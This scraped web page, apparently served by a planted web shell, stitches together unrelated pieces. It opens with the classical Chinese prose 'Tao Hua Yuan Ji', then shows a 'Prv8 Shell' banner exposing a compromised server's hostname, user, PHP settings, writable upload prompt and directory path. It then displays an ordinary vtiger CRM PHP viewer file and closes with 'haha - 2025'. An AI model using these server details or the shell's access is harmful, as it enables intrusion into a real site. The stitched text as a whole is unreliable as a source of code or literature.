晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/modules/Mobile/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/www/crm/modules/Mobile/html/Viewer.php
<?php
/*+**********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 ************************************************************************************/

include_once 'includes/Loader.php';
include_once 'includes/runtime/Viewer.php';

class Mobile_HTML_Viewer extends Vtiger_Viewer{

	private $parameters = array();
	private $_smarty = null;
	
	function assign($key, $value) {
		$this->parameters[$key] = $value;
	}

	function viewController() {
		if(!$this->_smarty) {
			$this->_smarty = Vtiger_Viewer::getInstance();
		}
		foreach($this->parameters as $k => $v) {
			$this->_smarty->assign($k, $v);
		}

		$this->_smarty->assign("IS_SAFARI", Mobile::isSafari());
		$this->_smarty->assign("TEMPLATE_WEBPATH", "layouts/".Vtiger_Viewer::getLayoutName()."/modules/Mobile/".Mobile::config('Default.Layout'));
		
		return $this->_smarty;
	}

	function process($module, $view) {
		$smarty = $this->viewController();
	
		$templateBasePath = $this->_getBaseTemplatePath();
		$templatePath = $templateBasePath. "/{$module}/{$view}.tpl";
        if (!$smarty->templateExists($templatePath)) {
			$templatePath = $templateBasePath . "/Vtiger/{$view}.tpl";
			if (!$smarty->templateExists($templatePath)) {
				$templatePath = null;
			}
		}
		
		// adding view specific js files and controller
		$scripts = array();
		$controller = null;
		$moduleSpecificTemplatePath = $templateBasePath. "/.{$module}/js/{$view}.js";
		if(file_exists($moduleSpecificTemplatePath)) {
			$scripts[] = "/.{$module}/js/{$view}.js";
			$controller = $module.$view.'Controller';
		}
		$baseTemplatePath = $templateBasePath. "/Vtiger/js/{$view}.js";
		if(file_exists($baseTemplatePath)) {
			$scripts[] = "/Vtiger/js/{$view}.js";
			$controller = 'Vtiger'.$view.'Controller';
		}
		
		$smarty->assign('_scripts', $scripts);
		$smarty->assign('_controller', $controller);
		
		if (!$templatePath) {
			throw new Exception("$module/$view not found.");
		}
		return $smarty->fetch($templatePath);
	}
	
	function _getBaseTemplatePath() {
		$smarty = $this->viewController();
		return $smarty->getTemplateDir(0) . DIRECTORY_SEPARATOR . "modules/Mobile/". Mobile::config('Default.Layout');
	}

}

function mobile_templatepath($template, $module) {
    $smarty = Vtiger_Viewer::getInstance();
    $templateBasePath = $smarty->getTemplateDir(0) . DIRECTORY_SEPARATOR . "modules/Mobile/". Mobile::config('Default.Layout');
    $templatePath = $templateBasePath. "/{$module}/{$template}";
    if (!$smarty->templateExists($templatePath)) {
        $templatePath = $templateBasePath . "/Vtiger/{$template}";
    }
    if (!$templatePath) {
        throw new Exception("$module/$template not found.");
    }
    return $smarty->fetch($templatePath);
}

haha - 2025